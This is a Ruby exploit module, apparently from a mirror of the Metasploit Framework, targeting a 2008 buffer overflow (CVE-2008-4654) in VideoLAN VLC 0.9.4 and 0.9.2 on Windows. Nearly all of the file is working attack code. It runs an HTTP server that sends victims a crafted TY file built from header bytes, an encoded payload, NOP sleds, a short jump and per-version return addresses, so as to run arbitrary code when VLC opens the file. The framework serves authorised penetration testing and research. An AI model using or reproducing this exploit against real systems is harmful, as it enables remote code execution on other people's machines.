mirror of
https://github.com/rapid7/metasploit-framework
synced 2024-11-12 11:52:01 +01:00
94 lines
2.6 KiB
Ruby
94 lines
2.6 KiB
Ruby
##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = GoodRanking
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include Msf::Exploit::Remote::HttpServer::HTML
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'VideoLAN VLC TiVo Buffer Overflow',
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'Description' => %q{
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This module exploits a buffer overflow in VideoLAN VLC 0.9.4.
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By creating a malicious TY file, a remote attacker could overflow a
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buffer and execute arbitrary code.
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},
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'License' => MSF_LICENSE,
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'Author' => [ 'MC' ],
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'CVE', '2008-4654' ],
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[ 'OSVDB', '49181' ],
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[ 'BID', '31813' ],
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],
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'Payload' =>
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{
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'Space' => 550,
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'BadChars' => "\x00",
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'StackAdjustment' => -3500,
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'VideoLAN VLC 0.9.4', { 'Ret' => 0x6a5e6710 } ],
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[ 'VideoLAN VLC 0.9.2', { 'Ret' => 0x6a5e69d7 } ],
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],
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'Privileged' => false,
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'DisclosureDate' => 'Oct 22 2008',
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'DefaultTarget' => 0))
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end
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def autofilter
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false
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end
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def check_dependencies
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use_zlib
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end
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def on_request_uri(cli, request)
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return if ((p = regenerate_payload(cli)) == nil)
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ty = "\xF5\x46\x7A\xBD"
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ty << "\x00\x00\x00\x02"
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ty << "\x00\x02\x00\x00"
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ty << "\x00\x00\x00\x00"
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ty << "\x00\x00\x00\x00"
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ty << "\x00\x00\x05\x41"
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ty << "\x00\x00\x00\x00"
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ty << "\x00\x00\x05\x49"
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ty << "\x00" * 60
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ty << "\x00" * (1024 - payload.encoded.length) + payload.encoded
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ty << make_nops(2) + Rex::Arch::X86.jmp_short(6) + [target.ret].pack('V')
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ty << make_nops(12) + [0xe8, -525].pack('CV') + "\x00" * (129931)
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ty << "\x05"
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ty << "\x00\x00\x00"
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ty << "\x05"
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ty << "\x00"
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ty << "\x09"
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ty << "\xc0"
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ty << "\x00" * 14
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ty << "\x06"
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ty << "\xe0"
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ty << "\x00" * 302004
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print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
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send_response_html(cli, ty, { 'Content-Type' => 'application/octet-stream' })
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handler(cli)
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end
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end
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